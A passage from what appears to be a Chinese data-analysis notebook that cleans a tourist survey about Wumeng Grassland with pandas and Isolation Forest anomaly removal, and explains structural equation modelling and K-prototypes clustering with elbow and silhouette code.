\u0026#39;Q21|R5\u0026#39;, \u0026#39;Q22|1\u0026#39;, \u0026#39;Q23\u0026#39;, \u0026#39;Q24|R1\u0026#39;, \u0026#39;Q24|R2\u0026#39;, \u0026#39;Q24|R3\u0026#39;, \u0026#39;Q24|R4\u0026#39;, \u0026#39;Q24|R5\u0026#39;, \u0026#39;Q24|R6\u0026#39;, \u0026#39;Q24|R7\u0026#39;, \u0026#39;Q24|R8\u0026#39;, \u0026#39;Q24|R9\u0026#39;, \u0026#39;Q24|R10\u0026#39;, \u0026#39;Q24|R11\u0026#39;, \u0026#39;Q24|R12\u0026#39;, \u0026#39;Q24|R13\u0026#39;, \u0026#39;Q24|R14\u0026#39;, \u0026#39;Q24|R18\u0026#39;, \u0026#39;Q24|R15\u0026#39;, \u0026#39;Q24|R16\u0026#39;, \u0026#39;Q24|R17\u0026#39;, \u0026#39;Q25|R5\u0026#39;, \u0026#39;Q25|R8\u0026#39;, \u0026#39;Q25|R10\u0026#39;, \u0026#39;Q25|R13\u0026#39;, \u0026#39;Q25|R14\u0026#39;, \u0026#39;Q25|R15\u0026#39;, \u0026#39;Q25|R16\u0026#39;, \u0026#39;Q25|R17\u0026#39;, \u0026#39;Q25|R18\u0026#39;, \u0026#39;Q26|1\u0026#39;, \u0026#39;Q27|1\u0026#39;, \u0026#39;Q28|1\u0026#39;, \u0026#39;Q28|23\u0026#39;, \u0026#39;Q28|21\u0026#39;, \u0026#39;Q28|22\u0026#39;, \u0026#39;Q28|24\u0026#39;, \u0026#39;Q28|25\u0026#39;, \u0026#39;Q28|4\u0026#39;, \u0026#39;Q28|2\u0026#39;, \u0026#39;Q28|26\u0026#39;, \u0026#39;Q28|27\u0026#39;, \u0026#39;Q28|28\u0026#39;, \u0026#39;Q28|29\u0026#39;, \u0026#39;Q28|35\u0026#39;, \u0026#39;Q28|34\u0026#39;, \u0026#39;Q28|34|open\u0026#39;, \u0026#39;Q29|R1\u0026#39;, \u0026#39;Q29|R2\u0026#39;, \u0026#39;Q29|R3\u0026#39;, \u0026#39;Q29|R4\u0026#39;, \u0026#39;Q30|R1\u0026#39;, \u0026#39;Q30|R2\u0026#39;, \u0026#39;Q30|R3\u0026#39;, \u0026#39;Q30|R4\u0026#39;, \u0026#39;Q30|R5\u0026#39;, \u0026#39;Q30|R6\u0026#39;, \u0026#39;Q31|R1\u0026#39;, \u0026#39;Q31|R2\u0026#39;, \u0026#39;Q31|R8\u0026#39;, \u0026#39;Q31|R4\u0026#39;, \u0026#39;Q31|R7\u0026#39;, \u0026#39;Q31|R9\u0026#39;, \u0026#39;Q31|R6\u0026#39;, \u0026#39;Q31|R5\u0026#39;, \u0026#39;Q32|R3\u0026#39;, \u0026#39;Q32|R7\u0026#39;, \u0026#39;Q32|R4\u0026#39;, \u0026#39;Q32|R5\u0026#39;, \u0026#39;Q32|R1\u0026#39;, \u0026#39;Q32|R2\u0026#39;, \u0026#39;Q32|R6\u0026#39;, \u0026#39;Q33|R10\u0026#39;, \u0026#39;Q33|R12\u0026#39;, \u0026#39;Q33|R11\u0026#39;, \u0026#39;Q33|R4\u0026#39;, \u0026#39;Q33|R5\u0026#39;, \u0026#39;Q33|R1\u0026#39;, \u0026#39;Q33|R8\u0026#39;, \u0026#39;Q33|R7\u0026#39;, \u0026#39;Q34\u0026#39;, \u0026#39;IP地址\u0026#39;] # 找出重复的行 duplicates = df.duplicated(subset=columns) # 只保留没有重复的行 df = df[~duplicates] # 打印数据的形状 print(df.shape) 去除不关心的列\n答题序号\t来源 开始时间\t提交时间\t答题时长\tIP省份\tIP城市\tIP地址\t浏览器\t操作系统\ncolumns_to_drop = [\u0026#39;答题序号\u0026#39;, \u0026#39;来源\u0026#39;, \u0026#39;开始时间\u0026#39;, \u0026#39;提交时间\u0026#39;, \u0026#39;答题时长\u0026#39;, \u0026#39;IP省份\u0026#39;, \u0026#39;IP城市\u0026#39;, \u0026#39;IP地址\u0026#39;, \u0026#39;浏览器\u0026#39;, \u0026#39;操作系统\u0026#39;] df = df.drop(columns_to_drop, axis=1) print(df.shape) df.head() 检查公共题目有没有缺失值 公共题目：\u0026lsquo;Q1\u0026rsquo;, \u0026lsquo;Q2\u0026rsquo;, \u0026lsquo;Q3\u0026rsquo;, \u0026lsquo;Q3|open\u0026rsquo;, \u0026lsquo;Q4\u0026rsquo;, \u0026lsquo;Q5\u0026rsquo;, \u0026lsquo;Q6|1|open\u0026rsquo;, \u0026lsquo;Q6|2|open\u0026rsquo;, \u0026lsquo;Q6|3|open\u0026rsquo;, \u0026lsquo;Q7|1\u0026rsquo;, \u0026lsquo;Q7|4\u0026rsquo;, \u0026lsquo;Q7|2\u0026rsquo;, \u0026lsquo;Q7|3\u0026rsquo;, \u0026lsquo;Q7|5\u0026rsquo;, \u0026lsquo;Q7|6\u0026rsquo;, \u0026lsquo;Q8\u0026rsquo;, \u0026lsquo;Q9\u0026rsquo;, \u0026lsquo;Q10\u0026rsquo;, \u0026lsquo;Q11\u0026rsquo;, \u0026lsquo;Q12\u0026rsquo;, \u0026lsquo;Q13\u0026rsquo;, \u0026lsquo;Q14\u0026rsquo;, \u0026lsquo;Q14|open\u0026rsquo;, \u0026lsquo;Q15\u0026rsquo;, \u0026lsquo;Q16|6\u0026rsquo;, \u0026lsquo;Q16|1\u0026rsquo;, \u0026lsquo;Q16|2\u0026rsquo;, \u0026lsquo;Q16|3\u0026rsquo;, \u0026lsquo;Q16|7\u0026rsquo;, \u0026lsquo;Q16|4\u0026rsquo;, \u0026lsquo;Q16|10\u0026rsquo;, \u0026lsquo;Q16|11\u0026rsquo;, \u0026lsquo;Q16|9\u0026rsquo;, \u0026lsquo;Q16|9|open\u0026rsquo;, \u0026lsquo;Q17\u0026rsquo;,Q30|R1,Q30|R2,Q30|R3,Q30|R4,Q30|R5,Q30|R6,Q33|R10,Q33|R12,Q33|R11,Q33|R4,Q33|R5,Q33|R1,Q33|R8,Q33|R7\ncommon_columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q3|open\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q6|1|open\u0026#39;, \u0026#39;Q6|2|open\u0026#39;, \u0026#39;Q6|3|open\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q14|open\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q16|6\u0026#39;, \u0026#39;Q16|1\u0026#39;, \u0026#39;Q16|2\u0026#39;, \u0026#39;Q16|3\u0026#39;, \u0026#39;Q16|7\u0026#39;, \u0026#39;Q16|4\u0026#39;, \u0026#39;Q16|10\u0026#39;, \u0026#39;Q16|11\u0026#39;, \u0026#39;Q16|9\u0026#39;, \u0026#39;Q16|9|open\u0026#39;, \u0026#39;Q17\u0026#39;, \u0026#39;Q30|R1\u0026#39;, \u0026#39;Q30|R2\u0026#39;, \u0026#39;Q30|R3\u0026#39;, \u0026#39;Q30|R4\u0026#39;, \u0026#39;Q30|R5\u0026#39;, \u0026#39;Q30|R6\u0026#39;, \u0026#39;Q33|R10\u0026#39;, \u0026#39;Q33|R12\u0026#39;, \u0026#39;Q33|R11\u0026#39;, \u0026#39;Q33|R4\u0026#39;, \u0026#39;Q33|R5\u0026#39;, \u0026#39;Q33|R1\u0026#39;, \u0026#39;Q33|R8\u0026#39;, \u0026#39;Q33|R7\u0026#39;] missing_values = df[common_columns].isnull().any() print(missing_values) missing_rows = df[df[\u0026#39;Q2\u0026#39;].isnull()] print(missing_rows) 依照Q17的选项1（去过），2（没去过）把数据分为去过的和没有去过的，同时保留原始数据\n# 依照Q17的选项1（去过），2（没去过）把数据分为去过的和没有去过的，同时保留原始数据 print(df[\u0026#39;Q17\u0026#39;].value_counts()) # 去过的数据 df_gone = df[df[\u0026#39;Q17\u0026#39;] == 1 ] # 没去过的数据 df_not_gone = df[df[\u0026#39;Q17\u0026#39;] == 2] print(\u0026#34;-\u0026#34;*100) print(\u0026#34;df_gone shape\u0026#34;+str(df_gone.shape)) print(\u0026#34;df_not_gone shape\u0026#34;+str(df_not_gone.shape)) 孤立森林 尝试使用孤立森林找出异常的问卷数据，并删除异常数据\n# 使用孤立森林算法检测异常值 from sklearn.ensemble import IsolationForest # 对于去过的 # 屏蔽开放性问题 df_gone_IsolationForest = df_gone.drop([\u0026#39;Q3|open\u0026#39;, \u0026#39;Q6|1|open\u0026#39;, \u0026#39;Q6|2|open\u0026#39;, \u0026#39;Q6|3|open\u0026#39;, \u0026#39;Q14|open\u0026#39;, \u0026#39;Q16|9|open\u0026#39;, \u0026#39;Q28|34|open\u0026#39;,\u0026#39;Q34\u0026#39;], axis=1) print(\u0026#34;df_gone_IsolationForest shape\u0026#34;+str(df_gone_IsolationForest.shape)) # 屏蔽没有去过的问题，会出现nan df_gone_IsolationForest = df_gone_IsolationForest.drop([\u0026#39;Q29|R1\u0026#39;,\u0026#39;Q29|R2\u0026#39;,\u0026#39;Q29|R3\u0026#39;,\u0026#39;Q29|R4\u0026#39;], axis=1) print(\u0026#34;df_gone_IsolationForest shape\u0026#34;+str(df_gone_IsolationForest.shape)) # 使用中位数填充数值列的空值 for col in df_gone_IsolationForest.columns: if df_gone_IsolationForest[col].dtype == \u0026#39;int64\u0026#39; or df_gone_IsolationForest[col].dtype == \u0026#39;float64\u0026#39;: df_gone_IsolationForest[col] = df_gone_IsolationForest[col].fillna(df[col].median()) # 使用最常见的值填充类别列的空值 for col in df_gone_IsolationForest.columns: if df_gone_IsolationForest[col].dtype == \u0026#39;object\u0026#39;: df_gone_IsolationForest[col] = df_gone_IsolationForest[col].fillna(df_gone_IsolationForest[col].mode()[0]) # 对于没有去过的 # 屏蔽开放性问题 df_not_gone_IsolationForest = df_not_gone.drop([\u0026#39;Q3|open\u0026#39;, \u0026#39;Q6|1|open\u0026#39;, \u0026#39;Q6|2|open\u0026#39;, \u0026#39;Q6|3|open\u0026#39;, \u0026#39;Q14|open\u0026#39;, \u0026#39;Q16|9|open\u0026#39;, \u0026#39;Q28|34|open\u0026#39;,\u0026#39;Q34\u0026#39;,], axis=1) print(\u0026#34;df_not_gone_IsolationForest shape\u0026#34;+str(df_not_gone_IsolationForest.shape)) # 屏蔽去过的问题，会出现nan columns_to_drop_1 = [\u0026#39;Q19\u0026#39;,\u0026#39;Q20\u0026#39;,\u0026#39;Q21|R1\u0026#39;,\u0026#39;Q21|R2\u0026#39;,\u0026#39;Q21|R3\u0026#39;,\u0026#39;Q21|R4\u0026#39;,\u0026#39;Q21|R5\u0026#39;] columns_to_drop_2 = [\u0026#39;Q24|R1\u0026#39;, \u0026#39;Q24|R2\u0026#39;, \u0026#39;Q24|R3\u0026#39;, \u0026#39;Q24|R4\u0026#39;, \u0026#39;Q24|R5\u0026#39;, \u0026#39;Q24|R6\u0026#39;, \u0026#39;Q24|R7\u0026#39;, \u0026#39;Q24|R8\u0026#39;, \u0026#39;Q24|R9\u0026#39;, \u0026#39;Q24|R10\u0026#39;, \u0026#39;Q24|R11\u0026#39;, \u0026#39;Q24|R12\u0026#39;, \u0026#39;Q24|R13\u0026#39;, \u0026#39;Q24|R14\u0026#39;, \u0026#39;Q24|R18\u0026#39;, \u0026#39;Q24|R15\u0026#39;, \u0026#39;Q24|R16\u0026#39;, \u0026#39;Q24|R17\u0026#39;] columns_to_drop_3 = [\u0026#39;Q25|R5\u0026#39;, \u0026#39;Q25|R8\u0026#39;, \u0026#39;Q25|R10\u0026#39;, \u0026#39;Q25|R13\u0026#39;, \u0026#39;Q25|R14\u0026#39;, \u0026#39;Q25|R15\u0026#39;, \u0026#39;Q25|R16\u0026#39;, \u0026#39;Q25|R17\u0026#39;, \u0026#39;Q25|R18\u0026#39;, \u0026#39;Q26|1\u0026#39;, \u0026#39;Q27|1\u0026#39;] columns_to_drop_4 = [\u0026#39;Q28|1\u0026#39;, \u0026#39;Q28|23\u0026#39;, \u0026#39;Q28|21\u0026#39;, \u0026#39;Q28|22\u0026#39;, \u0026#39;Q28|24\u0026#39;, \u0026#39;Q28|25\u0026#39;, \u0026#39;Q28|4\u0026#39;, \u0026#39;Q28|2\u0026#39;, \u0026#39;Q28|26\u0026#39;, \u0026#39;Q28|27\u0026#39;, \u0026#39;Q28|28\u0026#39;, \u0026#39;Q28|29\u0026#39;, \u0026#39;Q28|35\u0026#39;, \u0026#39;Q28|34\u0026#39;] columns_to_drop_5 = [\u0026#39;Q31|R1\u0026#39;, \u0026#39;Q31|R2\u0026#39;, \u0026#39;Q31|R8\u0026#39;, \u0026#39;Q31|R4\u0026#39;, \u0026#39;Q31|R7\u0026#39;, \u0026#39;Q31|R9\u0026#39;, \u0026#39;Q31|R6\u0026#39;, \u0026#39;Q31|R5\u0026#39;, \u0026#39;Q32|R3\u0026#39;, \u0026#39;Q32|R7\u0026#39;, \u0026#39;Q32|R4\u0026#39;, \u0026#39;Q32|R5\u0026#39;, \u0026#39;Q32|R1\u0026#39;, \u0026#39;Q32|R2\u0026#39;, \u0026#39;Q32|R6\u0026#39;] columns_to_drop = columns_to_drop_1 + columns_to_drop_2 + columns_to_drop_3 + columns_to_drop_4 + columns_to_drop_5 df_not_gone_IsolationForest = df_not_gone_IsolationForest.drop(columns_to_drop, axis=1) print(\u0026#34;df_not_gone_IsolationForest shape\u0026#34;+str(df_not_gone_IsolationForest.shape)) # 使用中位数填充数值列的空值 for col in df_not_gone_IsolationForest.columns: if df_not_gone_IsolationForest[col].dtype == \u0026#39;int64\u0026#39; or df_not_gone_IsolationForest[col].dtype == \u0026#39;float64\u0026#39;: df_not_gone_IsolationForest[col] = df_not_gone_IsolationForest[col].fillna(df[col].median()) # 使用最常见的值填充类别列的空值 for col in df_not_gone_IsolationForest.columns: if df_not_gone_IsolationForest[col].dtype == \u0026#39;object\u0026#39;: df_not_gone_IsolationForest[col] = df_not_gone_IsolationForest[col].fillna(df_not_gone_IsolationForest[col].mode()[0]) print(df_gone_IsolationForest.head(100)) print(df_not_gone_IsolationForest.head(100)) X = df_gone_IsolationForest.values Y = df_not_gone_IsolationForest.values # 创建孤立森林模型，contamination参数表示你预计的异常点的比例 clf_X = IsolationForest(contamination=0.01) clf_Y = IsolationForest(contamination=0.01) # 训练模型 clf_X.fit(X) clf_Y.fit(Y) # 预测异常点，返回1表示正常点，-1表示异常点 pred_X = clf_X.predict(X) pred_Y = clf_Y.predict(Y) # 将预测结果添加到数据框中 df_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] = pred_X df_not_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] = pred_Y # 打印出预测结果 print(\u0026#34;-\u0026#34;*100+\u0026#34;\\n去过的数据异常值预测结果：\\n\u0026#34;) print(df_gone_IsolationForest[\u0026#39;anomaly\u0026#39;].value_counts()) print(\u0026#34;-\u0026#34;*100+\u0026#34;\\n异常数据：\\n\u0026#34;) print(df_gone_IsolationForest[df_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == -1]) print(\u0026#34;-\u0026#34;*100+\u0026#34;\\n没有去过的数据异常值预测结果：\\n\u0026#34;) print(df_not_gone_IsolationForest[\u0026#39;anomaly\u0026#39;].value_counts()) print(\u0026#34;-\u0026#34;*100+\u0026#34;\\n异常数据：\\n\u0026#34;) print(df_not_gone_IsolationForest[df_not_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == -1]) # 在原来的df上删除异常值，先找到异常值的序号 print(\u0026#34;删除异常值前df的形状\u0026#34;+str(df.shape)) df = df.drop(df_gone_IsolationForest[df_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == -1].index) df = df.drop(df_not_gone_IsolationForest[df_not_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == -1].index) print(\u0026#34;删除异常值后df的形状\u0026#34;+str(df.shape)) # 在df_gone和df_not_gone上删除异常值 print(\u0026#34;删除异常值前df_gone的形状\u0026#34;+str(df_gone.shape)) df_gone = df_gone.drop(df_gone_IsolationForest[df_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == -1].index) print(\u0026#34;删除异常值后df_gone的形状\u0026#34;+str(df_gone.shape)) print(\u0026#34;删除异常值前df_not_gone的形状\u0026#34;+str(df_not_gone.shape)) df_not_gone = df_not_gone.drop(df_not_gone_IsolationForest[df_not_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == -1].index) print(\u0026#34;删除异常值后df_not_gone的形状\u0026#34;+str(df_not_gone.shape)) # 删除异常值 df_gone_IsolationForest = df_gone_IsolationForest[df_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == 1] df_not_gone_IsolationForest = df_not_gone_IsolationForest[df_not_gone_IsolationForest[\u0026#39;anomaly\u0026#39;] == 1] 再次检查有没有重复的行\n# 检查df中是否有重复的行 df_duplicates = df.duplicated().sum() print(f\u0026#34;df中有{df_duplicates}行重复的数据。\u0026#34;) # 检查df_gone中是否有重复的行 df_gone_duplicates = df_gone.duplicated().sum() print(f\u0026#34;df_gone中有{df_gone_duplicates}行重复的数据。\u0026#34;) # 检查df_not_gone中是否有重复的行 df_not_gone_duplicates = df_not_gone.duplicated().sum() print(f\u0026#34;df_not_gone中有{df_not_gone_duplicates}行重复的数据。\u0026#34;) 最终数据集 df，全体的数据集 df_gone，去过的游客的数据集 df_not_gone，没有去过的游客数据集 PS:所有的数据都在\nprint(df.shape) df.head() print(df_gone.shape) df_gone.head() print(df_not_gone.shape) df_not_gone.head() 数据分析 对所有游客\n基本游客画像 Q1-Q16\n[未来打造项目的喜爱程度] Q30\n聚类方法：\nk-prototypes\n感觉对于分类的效果不是很好，另外地理位置信息因为分成了三列，所以在聚类之后会出现不匹配的现象； 使用肘部图确定的n=6；使用轮廓系数确定n=1；\n基于密度聚类DBSCAN\n对去过的游客进行分析\n游玩乌蒙大草原的基本情况:Q18 Q19 Q20\n因子分析 Q21 （交给wyx了） 摆渡车 Q22 Q23 结构方程 Q24 Q25 (交给wyx了) 再次游玩意愿 Q26\n关联分析[推荐意愿] Q27 Q28 [盘州特产、非遗文化] Q31 Q32 [改进建议] Q34 针对没有去过的游客\n决策树[未前往原因] Q29 结构方程 结构方程模型（Structural Equation Modeling, SEM）是一种复杂的统计分析方法，用于研究变量之间的因果关系。它能够同时处理测量误差和多变量之间的关系，非常适用于社会科学、行为科学、营销研究、教育研究等领域。\n基础知识 需要的数据类型\n量表数据：SEM通常需要量表数据，即通过问卷调查收集的、用于测量潜在变量（如态度、满意度、感知质量等）的多个观察指标。 连续数据：SEM分析通常假定数据是连续的，特别是当使用最大似然估计方法时。 正态分布的数据：SEM的某些估计方法（如最大似然估计）要求数据近似正态分布。 作用\n因果关系分析：SEM允许研究者构建和测试变量之间的因果关系模型。 潜在变量建模：它可以用来测量不易直接观察的潜在变量，并分析这些潜在变量之间的关系。 同时测试多个假设：SEM能够在单一模型中同时测试多个假设，提供全面的分析视角。 实现方法\n协方差基础的SEM（如LISREL，AMOS）：通过构建协方差矩阵并使用最大似然估计或其他方法来估计模型参数。 基于方差的SEM（如PLS-SEM）：主要关注构建模型的预测能力，适用于理论发展阶段较早、样本较小或数据分布假设不严格的情况。 聚类分析 基础知识 方法分类 聚类分析是一种无监督学习方法，旨在将数据集中的对象分组成若干个簇，使得同一簇内的对象相似度较高，而不同簇内的对象相似度较低。它在市场细分、社会网络分析、生物信息学、图像分割等领域有广泛应用。根据聚类的方法和原理，主要可以分为以下几类：\n划分方法：这种方法将数据集划分成若干个非重叠的簇，使得每个数据对象恰好属于一个簇。最著名的划分方法是K-均值聚类（K-means clustering），它通过迭代地将数据点分配给最近的簇中心，然后更新簇中心，直到满足停止条件。\n层次方法：层次聚类方法根据对象之间的相似性逐渐合并或分裂簇。它们可以是凝聚的（自底向上），从每个对象作为单个簇开始，逐步合并到一个全体簇；或是分裂的（自顶向下），从所有对象组成一个簇开始，逐步分裂成更小的簇。层次方法的一个优点是可以形成簇的层次结构，非常适合解释性分析。\n基于密度的方法：这些方法根据数据空间的密度分布来形成簇。它们能够识别任意形状的簇，并且对噪声和孤立点有良好的鲁棒性。著名的算法包括DBSCAN（Density-Based Spatial Clustering of Applications with Noise）和OPTICS（Ordering Points To Identify the Clustering Structure）。\n基于网格的方法：网格聚类算法将数据空间划分为有限数量的单元，形成一个网格结构，并在这个结构上进行聚类。这些方法的优点是计算效率高，特别适合处理大数据集。STING（Statistical Information Grid）和WaveCluster是两种典型的基于网格的聚类方法。\n基于模型的方法：这些方法基于统计模型将数据分配给簇，最常见的是基于高斯混合模型（Gaussian Mixture Models, GMM）的聚类。这类方法的优点是可以提供丰富的统计信息，对簇的形状和大小有更灵活的假设。\n比较 K-prototypes \u0026amp; K-means K-原型（K-prototypes）聚类算法是K-均值（K-means）聚类算法的扩展，专门设计来处理同时包含数值数据和分类数据的情况。这两种算法的主要区别在于它们处理数据类型的方式和计算簇中心（或称为原型）的方法。\nK-means聚类算法\n数据类型：K-means主要适用于数值型数据。它通过计算数据点与簇中心之间的欧氏距离来划分簇，以最小化簇内距离的总和。 簇中心：K-means的簇中心是簇内所有点的均值。 限制：K-means对分类数据处理不佳，因为分类数据（如性别、职业等）没有自然的数值中心，且不能通过常规的欧氏距离来衡量相似性。 K-原型聚类算法\n数据类型：K-原型算法可以同时处理数值数据和分类数据。这使得它非常适用于现实世界的数据集，这些数据集通常包含这两种类型的数据。 簇中心和距离计算：K-原型算法通过结合数值数据的均值和分类数据的众数来计算簇中心。同时，它使用特殊的距离度量来计算数值数据和分类数据的相似性，常见的方法是将数值数据的欧式距离和分类数据的汉明距离（Hamming distance）进行组合。 优势：K-原型能够处理混合数据类型，使其更适合多种数据集，尤其是那些同时包含数值和分类属性的数据集。 应用场景对比\n当数据集仅包含数值型数据时，K-means是一个简单且有效的选择。 当数据集包含数值数据和分类数据时，K-原型算法是更合适的选择，因为它能够同时处理这两种数据类型，并考虑它们在数据集中的相互作用。 总结来说，K-原型聚类算法是对K-means的重要补充，它扩展了聚类分析的应用范围，使之能够有效处理更加复杂和多样化的数据集。\nK-Prototypes 聚类：所有游客/来过的游客画像 总的题目： \u0026lsquo;Q1\u0026rsquo;, \u0026lsquo;Q2\u0026rsquo;, \u0026lsquo;Q3\u0026rsquo;, \u0026lsquo;Q3|open\u0026rsquo;, \u0026lsquo;Q4\u0026rsquo;, \u0026lsquo;Q5\u0026rsquo;, \u0026lsquo;Q6|1|open\u0026rsquo;, \u0026lsquo;Q6|2|open\u0026rsquo;, \u0026lsquo;Q6|3|open\u0026rsquo;, \u0026lsquo;Q7|1\u0026rsquo;, \u0026lsquo;Q7|4\u0026rsquo;, \u0026lsquo;Q7|2\u0026rsquo;, \u0026lsquo;Q7|3\u0026rsquo;, \u0026lsquo;Q7|5\u0026rsquo;, \u0026lsquo;Q7|6\u0026rsquo;, \u0026lsquo;Q8\u0026rsquo;, \u0026lsquo;Q9\u0026rsquo;, \u0026lsquo;Q10\u0026rsquo;, \u0026lsquo;Q11\u0026rsquo;, \u0026lsquo;Q12\u0026rsquo;, \u0026lsquo;Q13\u0026rsquo;, \u0026lsquo;Q14\u0026rsquo;, \u0026lsquo;Q14|open\u0026rsquo;, \u0026lsquo;Q15\u0026rsquo;, \u0026lsquo;Q16|6\u0026rsquo;, \u0026lsquo;Q16|1\u0026rsquo;, \u0026lsquo;Q16|2\u0026rsquo;, \u0026lsquo;Q16|3\u0026rsquo;, \u0026lsquo;Q16|7\u0026rsquo;, \u0026lsquo;Q16|4\u0026rsquo;, \u0026lsquo;Q16|10\u0026rsquo;, \u0026lsquo;Q16|11\u0026rsquo;, \u0026lsquo;Q16|9\u0026rsquo;, \u0026lsquo;Q16|9|open\u0026rsquo;\n对于Q3,Q14,Q16的其他选项对于聚类来说意义不大且不好处理，直接忽略\n确定聚类簇数 使用肘部图确定最佳簇数 # 去过的游客 df_gone from kmodes.kprototypes import KPrototypes import matplotlib.pyplot as plt columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q19\u0026#39;, \u0026#39;Q20\u0026#39;,\u0026#39;Q21|R1\u0026#39;,\u0026#39;Q21|R2\u0026#39;,\u0026#39;Q21|R3\u0026#39;,\u0026#39;Q21|R4\u0026#39;,\u0026#39;Q21|R5\u0026#39;] numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;,\u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;] # 类别型列 categorical_columns = [col for col in columns if col not in numerical_columns] # 将类别型列的索引转换为数字 categorical_columns_indices = [columns.index(col) for col in categorical_columns] costs = [] for n_clusters in range(1, 10): kproto = KPrototypes(n_clusters=n_clusters, init=\u0026#39;Cao\u0026#39;, verbose=2) kproto.fit_predict(df_gone[columns].values, categorical=categorical_columns_indices) costs.append(kproto.cost_) # 绘制成本随簇数变化的图 plt.plot(range(1, 10), costs, \u0026#39;o-\u0026#39;) plt.title(\u0026#39;Elbow Method (visited tourists)\u0026#39;) plt.xlabel(\u0026#39;Number of clusters\u0026#39;) plt.ylabel(\u0026#39;Cost\u0026#39;) plt.show() 使用轮廓系数确定簇数的方法 # 轮廓图，去过的游客 from kmodes.kprototypes import KPrototypes from sklearn.metrics import silhouette_score import matplotlib.pyplot as plt columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q19\u0026#39;, \u0026#39;Q20\u0026#39;,\u0026#39;Q21|R1\u0026#39;,\u0026#39;Q21|R2\u0026#39;,\u0026#39;Q21|R3\u0026#39;,\u0026#39;Q21|R4\u0026#39;,\u0026#39;Q21|R5\u0026#39;] numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;,\u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;] # 类别型列 categorical_columns = [col for col in columns if col not in numerical_columns] # 将类别型列的索引转换为数字 categorical_columns_indices = [columns.index(col) for col in categorical_columns] silhouette_scores = [] for n_clusters in range(2, 10): # 轮廓系数至少需要2个簇 kproto = KPrototypes(n_clusters=n_clusters, init=\u0026#39;Cao\u0026#39;, verbose=2) clusters = kproto.fit_predict(df_gone[columns].values, categorical=categorical_columns_indices) score = silhouette_score(df_gone[columns], clusters) silhouette_scores.append(score) # 绘制轮廓系数随簇数变化的图 plt.plot(range(2, 10), silhouette_scores, \u0026#39;o-\u0026#39;) plt.title(\u0026#39;Silhouette Method (visited tourists)\u0026#39;) plt.xlabel(\u0026#39;Number of clusters\u0026#39;) plt.ylabel(\u0026#39;Silhouette Score\u0026#39;) plt.show() 开始聚类 from kmodes.kprototypes import KPrototypes # 加入乌蒙大草原游客的基本信息，只能对已经来过的游客进行聚类 columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q19\u0026#39;, \u0026#39;Q20\u0026#39;,\u0026#39;Q21|R1\u0026#39;,\u0026#39;Q21|R2\u0026#39;,\u0026#39;Q21|R3\u0026#39;,\u0026#39;Q21|R4\u0026#39;,\u0026#39;Q21|R5\u0026#39;] # 